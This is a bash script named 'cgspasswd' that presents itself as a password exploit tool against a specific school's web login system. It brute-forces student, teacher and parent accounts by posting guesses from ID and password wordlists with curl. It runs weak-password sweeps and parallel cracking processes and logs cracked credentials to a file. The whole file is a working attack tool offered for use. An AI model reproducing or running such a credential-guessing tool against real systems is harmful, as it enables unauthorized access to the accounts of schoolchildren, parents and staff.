#!/bin/bash

# cgspasswd - Country Gardern School Password exploit tool
# cgspasswd is a free software, maintaince by MagicNAT Networing
# Version 0.6.2 (C) MagicNAT Networking
#
# MUTIL-PROCESS HELP
# 
# The mutiple process function is currently in development. You can still use it. However it 
# might cause some problems. 
#
# To use MP mode, create a dir with you id dict or password dict in it, cgspasswd will start
# different process for each dict files in it.
# 
# DEFINATIONS
#
# id: The id of student, teacher, or parent
# passwd: The passwd of student, teacher, or parent
# type: The type of id, could be tea, stu, or par, stand for student, teacher, and parent
# verbose: Set this to get into verbose mode. Showing all password or id tried
#
# cgspasswd CONFIGURE
#
# URL_PREFIX: The prefix of url
# URL_EXTENTION: The extention of url
# WEEK_PASSWD_DICT: The path to week id dict
# ID_DICT: The path to ID dict
# PW_DICT: The path to Password dict
# ID_MP_DICT: The path to ID dict dir when using mutilple process
# PW_MP_DICT: The path to Password dict dir when using mutilple process
# CRACK_MP_PID: The path to pid dir of MP cracking work
# WEEKPW_MP_PID: The path to pid dir of MP weekpw exploit work
# CRACKED_SAVE: The path to the file to save cracked accounts

function pre_config {
URL_PREFIX="http://127.0.0.1:8080/mis/info/tea_info/"
URL_EXTENTION="_Login.asp"
WEEK_PASSWD_DICT="./dicts/wpw.dict"
ID_DICT="./dicts/id.dict"
PW_DICT="./dicts/pw.dict"
ID_MP_DICT="./dicts/ids/"
PW_MP_DICT="./dicts/pws/"
#CRACK_MP_PID="./.crack_mp.pid/"
#WEEKPW_MP_PID="./.weekpw_mp.pid/"
CRACKED_SAVE="./cracked.txt"
}


function config {
	[[ -z $1 ]] && echo "config: Missing parameter" && return 1
	case $1 in
		URL_PREFIX)
			[[ -z $2 ]] && echo $1=$URL_PREFIX && return 0
			URL_PREFIX=$2
		;;
		URL_EXTENTION)
			[[ -z $2 ]] && echo $1=$URL_EXTENTION && return 0
			URL_EXTENTION=$2
		;;
		WEEK_PASSWD_DICT)
			[[ -z $2 ]] && echo $1=$WEEK_PW_DICT && return 0
			WEEK_PASSWD_DICT=$2
		;;
		ID_DICT)
			[[ -z $2 ]] && echo $1=$ID_DICT && return 0
			ID_DICT=$2
		;;
		PW_DICT)
			[[ -z $2 ]] && echo $1=$PW_DICT && return 0
			PW_DICT=$2
		;;
		ID_MP_DICT)
			[[ -z $2 ]] && echo $1=$ID_MP_DICT && return 0
			ID_MP_DICT=$2
		;;
		PW_MP_DICT)
			[[ -z $2 ]] && echo $1=$PW_MP_DICT && return 0
			PW_MP_DICT=$2
		;;
#		CRACK_MP_PID)
#			[[ -z $2 ]] && echo $1=$CRACK_MP_PID && return 0
#			CRACK_MP_PID=$2
#		;;
#		WEEKPW_MP_PID)
#			[[ -z $2 ]] && echo $1=$WEEKPW_MP_PID && return 0
#			WEEKPW_MP_PID=$2
#		;;
		CRACKED_SAVE)
			[[ -z $2 ]] && echo $1=$CRACKED_SAVE && return 0
			CRACKED_SAVE=$2
		;;
		reset)
			echo -n "Reset config with pre_config... "
			pre_config
			echo "OK"
		;;
	esac
	chk_conf
}

# help: Get help, usage: help [topic]

function help {
	[[ -z $* ]] && echo -e "\n Available topics are: config, chk_login, chk_cracked, weekpw[_mp], crack[_mp]\n mp, new\n" && return 0
	case $1 in
		config)
#			echo -e "\n CGSPASSWD CONFIGURE\n\n URL_PREFIX: The prefix of url\n URL_EXTENTION: The extention of url\n WEEK_PASSWD_DICT: The path to week id dict\n ID_DICT: The path to ID dict\n PW_DICT: The path to Password dict\n ID_MP_DICT: The path to ID dict dir when using mutilple process\n PW_MP_DICT: The path to Password dict dir when using mutilple process\n CRACK_MP_PID: The path to pid dir of MP cracking work\n WEEKPW_MP_PID: The path to pid dir of MP weekpw exploit work\n CRACKED_SAVE: The path to the file to save cracked accounts\n\n Usage: config <item> [value]\n	config reset\n"
			echo -e "\n CGSPASSWD CONFIGURE\n\n URL_PREFIX: The prefix of url\n URL_EXTENTION: The extention of url\n WEEK_PASSWD_DICT: The path to week id dict\n ID_DICT: The path to ID dict\n PW_DICT: The path to Password dict\n ID_MP_DICT: The path to ID dict dir when using mutilple process\n PW_MP_DICT: The path to Password dict dir when using mutilple process\n CRACKED_SAVE: The path to the file to save cracked accounts\n\n Usage: config <item> [value]\n	config reset\n"

		;;
		chk_login)
			echo -e "\n Check a login, usage: chk_login <id> <passwd> <type>\n id: The id of student, teacher, or parent\n passwd: The passwd of student, teacher, or parent\n type: The type of id, could be tea, stu, or par, stand for student, teacher, \n and parent\n"
		;;
		chk_cracked)
			echo -e "\n Check for the logins that already cracked for failure\n Usage: chk_cracked [verbose]\n verbose: Set this to get into verbose mode. Showing all password or id tried\n"
		;;
		weekpw|weekpw_mp)
			echo -e "\n weekpw[_mp]: Find week passwords with id dict and weekpasswd dict\n Usage: weekpw[_mp] <type> [verbose]\n using '_mp' will enable Mutli-Process, see help mp for more informations.\n type: The type of id, could be tea, stu, or par, stand for student, teacher,\n and parent\n verbose: Set this to get into verbose mode. Showing all password or id tried\n"
		;;
		crack|crack_mp)
			echo -e "\n crack[_mp]: Crack the password of an id.\n Usage: crack[_mp] <id> <type> [verbose]\n using '_mp' will enable Mutli-Process, see help mp for more informations.\n id: The id of student, teacher, or parent\n type: The type of id, could be tea, stu, or par, stand for student, teacher,\n and parent\n verbose: Set this to get into verbose mode. Showing all password or id tried\n"
		;;
		mp)
			echo -e "\n MUTIL-PROCESS HELP\n \n The mutiple process function is currently in development. You can still use \n it. However it might cause some problems. \n\n To use MP mode, create a dir with you id dict or password dict in it, \n cgspasswd will start different process for each dict files in it.\n"
		;;
		new)
			echo -e "\n new: Start a command in backgound.\n This will be helpful when you are trying to runing mutil tasks.\n Usage: new <command> \n"
		;;
		*)
			echo -e "\n Help topic $1 not found. $(help)\n"
		;;
		esac
}

# chk_login: Check a login, usage: chk_login <id> <passwd> <type>

function chk_login {
	[[ -z $3 ]] && echo "chk_login: Missing parameters" && return 1
	[[ ! -z $(curl --data "t1=$1&t2=$2" $URL_PREFIX$3$URL_EXTENTION 2> /dev/null | grep moved) ]] && echo "true" && return 0
	echo "false" && return 1
}

# chk_cracked: Check for the logins that already cracked for failurem, usage: chk_cracked [verbose]

function chk_cracked {
	[[ ! -e $CRACKED_SAVE ]] && echo "chk_cracked: Cracked account file $CRACKED_SAVE not exist." && return 1
	ACCTLIST=$(cat creaked.txt | sed -e "s/.*Type //g" | sed -e "s/ ID //g" | sed -e "s/ Password //g")
	for acct in $ACCTLIST 
	do
		typ=$(echo $acct | awk -F, '{print $1}')
		id=$(echo $acct | awk -F, '{print $2}')
		passwd=$(echo $acct | awk -F, '{print $3}')
		[[ ! -z $1 ]] && echo -n "Tesing login $id($typ) with $passwd... "
		[[ $(chk_login $id $passwd $typ) == "false" ]] && echo "Account $id, type $typ, is not able to login with $psswd now." || echo "OK"
	done
}

# weekpw: Find week passwords with id dict and weekpasswd dict, usage: weekpw <type> [verbose]

function weekpw {
	[[ -z $1 ]] && echo "weekpw: Missing parameters" && return 1
	for id in $( cat $ID_DICT )
	do
		for passwd in $(cat $WEEK_PASSWD_DICT)
		do
			[[ ! -z $2 ]] && echo "Trying login $id($1) with $passwd... "
			[[ $( chk_login $id $passwd $1 ) == "true" ]] && write_cracked $id $passwd $1 && break
		done
	done
}

# weekpw_mp: Find week passwords with id dicts and weekpasswd dict using MP, usage: weekpw_mp <type> [verbose]

function weekpw_mp {
	[[ -z $1 ]] && echo "weekpw_mp: Missing parameters" && return 1
	for dict in $(ls $ID_MP_DICT)
	do
		weekpw_mp_core $ID_MP_DICT$dict $1 $2 &
	done
}

# Internal function, core module of weekpw_mp, should not be called by user.

function weekpw_mp_core {
	[[ -z $2 ]] && echo "weekpw_mp_core: Missing parameters" && return 1
	#echo $$ > $WEEKPW_MP_PID$$
	for id in $(cat $1)
	do
		for passwd in $(cat $WEEK_PASSWD_DICT)
		do
			[[ ! -z $3 ]] && echo "Trying login $id($2) with $passwd... "
			[[ $( chk_login $id $passwd $2 ) == "true" ]] && write_cracked $id $passwd $2 && break
		done
	done
	#rm $WEEKPW_MP_PID$$
}

# crack: Crack the password of an id, usage: crack <id> <type> [verbose]

function crack {
	[[ -z $2 ]] && echo "crack: Missing parameters" && return 1
	for passwd in $(cat $PW_DICT)
	do
		[[ ! -z $3 ]] && echo "Trying login $1($2) with $passwd... "
		[[ $( chk_login $1 $passwd $2 ) == "true" ]] && write_cracked $1 $passwd $2 && break
	done
}

# crack_mp: Crack the password of an id using MP, usage: crack <id> <type> [verbose]

function crack_mp {
	[[ -z $2 ]] && echo "crack_mp: Missing parameters" && return 1
	for dict in $(ls $PW_MP_DICT)
	do
		crack_mp_core $PW_MP_DICT$dict $1 $2 $3 &
	done

}

# Internal function, core module of crack_mp, should not be called by user.

function crack_mp_core {
	[[ -z $3 ]] && echo "crack_mp_core: Missing parameters" && return 1
	#echo $$ > $CRACK_MP_PID$$
	for passwd in $(cat $1)
	do
		[[ ! -z $4 ]] && echo "Trying login $2($3) with $passwd... "
		[[ $( chk_login $2 $passwd $3 ) == "true" ]] && write_cracked $2 $passwd $3 && break
	done
	#rm $CRACK_MP_PID$$
}

# Internal function, write creaked account, should not be called by user.

function write_cracked {
	[[ -z $3 ]] && echo "write_cracked: Missing parameters" && return 1
	MSG="[$(date)] CRACKED: Type $3, ID $1, Password $2"
	echo $MSG
	echo $MSG >> $CRACKED_SAVE
	return 0
}

# Interactive mode

function interactive {
	echo "cgspasswd 0.6 (Interactive mode) "
	echo "Copyright 2014 MagicNAT Networking"
	echo "This is free software with ABSOLUTELY NO WARRANTY."
	echo "For help, type help"
	while true
	do
		echo -n "cgspasswd> "; read cmd;
		if [[ ! -z $cmd ]] 
		then
			exe=$(echo $cmd | awk '{print $1}')
			if ! type "$exe" > /dev/null 2> /dev/null
			then
				echo "cgspasswd: command not found: $exe"
			else
				$cmd
			fi
		fi
	done
}

# Init cgspasswd

function cgsinit {
	pre_config
	chk_conf
#	mpinit
}

# Config check

function chk_conf {
	for files in $WEEK_PASSWD_DICT $ID_DICT $PW_DICT $ID_MP_DICT $PW_MP_DICT
	do
	#	[[ ! -e $files || -z $URL_PREFIX || -z $URL_EXTENTION || -z $CRACK_MP_PID || -z $WEEKPW_MP_PID ]] && echo "Something wrong, cgspasswd will now exit." && exit 1 
		[[ ! -e $files || -z $URL_PREFIX || -z $URL_EXTENTION ]] && echo "Something wrong, cgspasswd will now exit." && exit 1 	
	done
}

# Init MP mode
#
#function mpinit {
#	mkdir $WEEKPW_MP_PID
#	mkdir $CRACK_MP_PID
#}

# new: Start a command background, usage: new <cmd>

function new {
	[[ -z $* ]] && return 0
	if ! type "$1" > /dev/null 2> /dev/null
	then
		echo "new: command not found: $*"
	else
		$* &
	fi

}

# exit cgspasswd 

function exit {
	pkill -9 -P $$ > /dev/null 2> /dev/null
	kill -9 $$ > /dev/null 2> /dev/null
}

# Main function

function main {
	cgsinit
	trap 'exit' 2 3 15
	[[ -z $* ]] && interactive 
	$*
}

# Call main

main $*